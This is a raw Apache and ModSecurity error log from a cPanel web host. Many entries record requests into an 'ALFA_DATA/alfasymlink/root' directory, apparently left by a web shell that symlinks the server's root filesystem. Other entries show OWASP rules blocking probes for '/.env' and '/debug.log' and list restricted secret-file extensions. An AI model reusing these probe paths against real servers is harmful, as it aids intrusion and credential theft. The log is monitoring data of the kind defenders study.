[Mon Oct 26 13:22:39.836739 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 18.205.127.11:59835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/vmd/bind
[Mon Oct 26 13:22:39.837228 2026] [security2:error] [pid 3065806:tid 3065806] [client 18.205.127.11:59835] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/vmd/bind"] [unique_id "at-MXw7tQS1M73WECjKO-wAAAAY"]
[Mon Oct 26 13:22:39.837259 2026] [security2:error] [pid 3065806:tid 3065806] [client 18.205.127.11:59835] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/vmd/bind"] [unique_id "at-MXw7tQS1M73WECjKO-wAAAAY"]
[Mon Oct 26 13:22:41.088001 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 85.208.96.193:49774] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:22:44.062041 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.214.176.44:43682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:22:59.775970 2026] [core:error] [pid 3068535:tid 3068535] (13)Permission denied: [client 54.197.178.107:37155] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/iomem_reg_shift
[Mon Oct 26 13:23:04.091365 2026] [security2:error] [pid 3068534:tid 3068534] [client 18.207.79.144:52831] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/module/"] [unique_id "at-MeAKGJNKSlZasCZ1UfwAAAAg"]
[Mon Oct 26 13:23:04.091423 2026] [security2:error] [pid 3068534:tid 3068534] [client 18.207.79.144:52831] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/module/"] [unique_id "at-MeAKGJNKSlZasCZ1UfwAAAAg"]
[Mon Oct 26 13:23:11.796763 2026] [ssl:error] [pid 3064909:tid 3064909] (5)Input/output error: [client 34.225.24.180:18912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:23:18.345614 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 85.208.96.198:28448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/slabs_cpu_partial
[Mon Oct 26 13:23:24.108379 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 50.16.216.166:15917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:23:27.850184 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.205.170.13:45867] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:23:32.020389 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.44.174.136:55018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:23:35.800185 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 34.231.77.232:8198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/subsystem/drivers_probe
[Mon Oct 26 13:23:52.032621 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.234.200.207:51138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:23:59.776771 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 3.220.148.166:48050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_generic/bind
[Mon Oct 26 13:24:14.968080 2026] [security2:error] [pid 3064909:tid 3064909] [client 102.220.163.241:17316] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at-MvnH-Y6Vcm97dx7AwUwAAAAs"]
[Mon Oct 26 13:24:14.985119 2026] [security2:error] [pid 3064909:tid 3064909] [client 102.220.163.241:17316] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at-MvnH-Y6Vcm97dx7AwUwAAAAs"]
[Mon Oct 26 13:24:14.985611 2026] [security2:error] [pid 3064909:tid 3064909] [client 102.220.163.241:17316] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at-MvnH-Y6Vcm97dx7AwUwAAAAs"]
[Mon Oct 26 13:24:15.167953 2026] [security2:error] [pid 3058833:tid 3058833] [client 102.220.163.241:52706] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at-Mv2_VO1xGdW91KvStUwAAABE"]
[Mon Oct 26 13:24:15.168209 2026] [security2:error] [pid 3058833:tid 3058833] [client 102.220.163.241:52706] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at-Mv2_VO1xGdW91KvStUwAAABE"]
[Mon Oct 26 13:24:15.168455 2026] [security2:error] [pid 3058833:tid 3058833] [client 102.220.163.241:52706] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at-Mv2_VO1xGdW91KvStUwAAABE"]
[Mon Oct 26 13:24:19.850117 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 35.171.141.42:47126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:24:24.027548 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 100.29.155.89:45800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:24:30.280905 2026] [security2:error] [pid 3058833:tid 3058833] [client 154.81.249.177:45698] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at-Mzm_VO1xGdW91KvStVAAAABE"], referer: https://five.co.in/redirect.php?ref_host=ultherapie.ch
[Mon Oct 26 13:24:30.292513 2026] [authz_core:error] [pid 3058833:tid 3058833] [client 154.81.249.177:45698] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://five.co.in/redirect.php?ref_host=ultherapie.ch
[Mon Oct 26 13:24:31.830270 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.207.89.138:60078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:24:35.851496 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 23.21.250.48:45876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory18/subsystem/uevent
[Mon Oct 26 13:24:43.849773 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 23.21.225.190:54588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:11.784641 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 3.212.219.113:11955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:06/eject
[Mon Oct 26 13:25:15.806209 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.84.93.8:16367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:20.236972 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 44.196.118.6:33649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:23.012976 2026] [security2:error] [pid 3058833:tid 3058833] [client 119.28.140.106:54244] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/Adan"] [unique_id "at-NA2_VO1xGdW91KvStVwAAABE"]
[Mon Oct 26 13:25:23.835179 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 52.44.148.203:46916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:00/physical_node/i2c-0/new_device
[Mon Oct 26 13:25:27.838551 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 52.202.233.37:46953] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource4
[Mon Oct 26 13:25:31.896239 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.218.6.93:60599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:35.895560 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.70.138.176:29507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:35.895755 2026] [security2:error] [pid 3065808:tid 3065808] [client 52.70.138.176:29507] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/input1::capslock/device/id/product"] [unique_id "at-ND9BD9nokEg9_vmbMrAAAAAk"]
[Mon Oct 26 13:25:35.895777 2026] [security2:error] [pid 3065808:tid 3065808] [client 52.70.138.176:29507] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/input1::capslock/device/id/product"] [unique_id "at-ND9BD9nokEg9_vmbMrAAAAAk"]
[Mon Oct 26 13:25:45.999477 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.225.9.97:8527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:51.797513 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 98.83.94.113:60409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:25:59.977656 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.89.176.255:15972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:26:11.871135 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.204.12.115:38210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:26:16.183317 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.3.155.146:25792] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:26:35.833333 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 52.204.253.129:53592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:11/eject
[Mon Oct 26 13:26:43.672684 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.156.55.147:4774] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:26:47.728801 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.205.120.22:1989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:26:55.697959 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 18.232.11.247:63967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:27:06.675890 2026] [security2:error] [pid 3064918:tid 3064918] [client 107.172.76.131:55699] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-NXLOTOqUhLlGpMrXZCAAAABM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 13:27:06.675946 2026] [security2:error] [pid 3064918:tid 3064918] [client 107.172.76.131:55699] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-NXLOTOqUhLlGpMrXZCAAAABM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 13:27:19.840143 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 23.21.225.190:41993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:27:27.661839 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 3.216.86.144:19630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:27:31.535168 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.88.84.219:31690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:27:35.987475 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.14:38992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/objs_per_slab
[Mon Oct 26 13:27:39.801865 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 54.235.158.162:56093] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/driver/new_id
[Mon Oct 26 13:27:43.622076 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.231.181.240:41459] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:27:47.633817 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.236.41.241:37839] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:27:51.541971 2026] [ssl:error] [pid 3065808:tid 3065808] (5)Input/output error: [client 3.218.103.254:52863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:15.456924 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.3.127.170:19161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:19.455746 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.205.74.196:25414] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:23.436874 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 18.213.240.226:14282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:39.268215 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.84.102.81:63767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:43.241380 2026] [ssl:error] [pid 3068533:tid 3068533] (5)Input/output error: [client 3.216.13.10:59715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:47.379186 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 23.23.137.202:49999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:28:51.949547 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 34.206.212.24:42011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/vmd/uevent
[Mon Oct 26 13:28:55.905038 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:46280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/' is executable
[Mon Oct 26 13:28:55.905096 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:46280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/' is executable
[Mon Oct 26 13:28:55.905125 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:46280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/' is executable
[Mon Oct 26 13:29:07.333040 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.45.15.233:39287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:19.291389 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.236.185.101:4009] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:29:23.050486 2026] [security2:error] [pid 3065807:tid 3065807] [client 108.84.85.215:34744] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/debug.log"] [unique_id "at-N8xjIL9Z3tuLhXUCsrwAAAAc"]
[Mon Oct 26 13:29:23.051004 2026] [security2:error] [pid 3065807:tid 3065807] [client 108.84.85.215:34744] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/debug.log"] [unique_id "at-N8xjIL9Z3tuLhXUCsrwAAAAc"]
[Mon Oct 26 13:29:23.052619 2026] [security2:error] [pid 3065807:tid 3065807] [client 108.84.85.215:34744] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-N8xjIL9Z3tuLhXUCsrwAAAAc"]
[Mon Oct 26 13:29:24.130452 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 185.191.171.18:60844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ata_generic/sections/__param
[Mon Oct 26 13:29:30.921738 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/RITwlF8UBX/' is executable
[Mon Oct 26 13:29:30.921802 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Xf45g1vOVG/' is executable
[Mon Oct 26 13:29:30.921841 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Mon Oct 26 13:29:30.921880 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Mon Oct 26 13:29:30.921950 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/n83SSM739h/' is executable
[Mon Oct 26 13:29:30.921999 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6kbL1XuIiD/' is executable
[Mon Oct 26 13:29:30.922018 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Mon Oct 26 13:29:30.922073 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/v7WsvFUVho/' is executable
[Mon Oct 26 13:29:30.922088 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nnRZJb1Juq/' is executable
[Mon Oct 26 13:29:30.922103 2026] [core:crit] [pid 3044299:tid 3044299] (13)Permission denied: [client 216.244.66.250:38564] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
